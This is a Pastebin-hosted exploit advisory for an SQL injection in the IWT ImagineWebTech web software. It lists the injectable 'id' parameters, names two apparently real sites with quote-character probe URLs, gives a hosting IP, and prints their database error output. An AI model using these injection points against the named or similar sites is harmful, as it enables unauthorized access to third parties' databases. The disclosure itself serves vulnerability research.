Advertisement
KingSkrupellos

IWT ImagineWebTech SQL Injection

Mar 15th, 2019
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.29 KB | None | 0 0
  1. ############################################################################################
  2.  
  3. # Exploit Title : IWT ImagineWebTech SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 16/03/2019
  7. # Vendor Homepage : imaginewebtech.com
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  14. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  15. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  16.  
  17. ############################################################################################
  18.  
  19. # Impact :
  20. ***********
  21. IWT ImagineWebTech is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied
  22.  
  23. data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or
  24.  
  25. modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request
  26.  
  27. to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability
  28.  
  29. may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  30.  
  31. ############################################################################################
  32.  
  33. # SQL Injection Exploit :
  34. **********************
  35. /photo-gallery.html?id=[SQL Injection]
  36.  
  37. /photo-gallery.php?id=[SQL Injection]
  38.  
  39. /news.php?id=[SQL Injection]
  40.  
  41. ############################################################################################
  42.  
  43. # Example Vulnerable Sites :
  44. *************************
  45. [+] sanklecha.in/photo-gallery.html?id=1%27
  46.  
  47. [+] ausindia.org/photo-gallery.php?id=242%27
  48.  
  49. Vulnerable IP Address =>
  50.  
  51. (192.185.28.118) => There are 159 domains hosted on this server.
  52.  
  53. ############################################################################################
  54.  
  55. # Example SQL Database Error :
  56. ****************************
  57. Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result
  58. resource in /home/ausindia/public_html/photo-gallery.php on line 51
  59. Error in Get Photo List Details
  60. select photo_id,photo_image,comment from iwt_photo where cat_id=242' order by photo_id
  61. You have an error in your SQL syntax; check the manual that corresponds to your
  62. MySQL server version for the right syntax to use near '' order by photo_id' at line 1
  63.  
  64. Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in
  65. /home/sanklech/public_html/photo-gallery.html on line 20
  66. Error in Get Photo List Details
  67. select * from iwt_photos where photo_category_id=1' order by created_date asc
  68. You have an error in your SQL syntax; check the manual that corresponds to your
  69. MySQL server version for the right syntax to use near '' order by created_date asc' at line 1
  70.  
  71. ############################################################################################
  72.  
  73. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  74.  
  75. ############################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement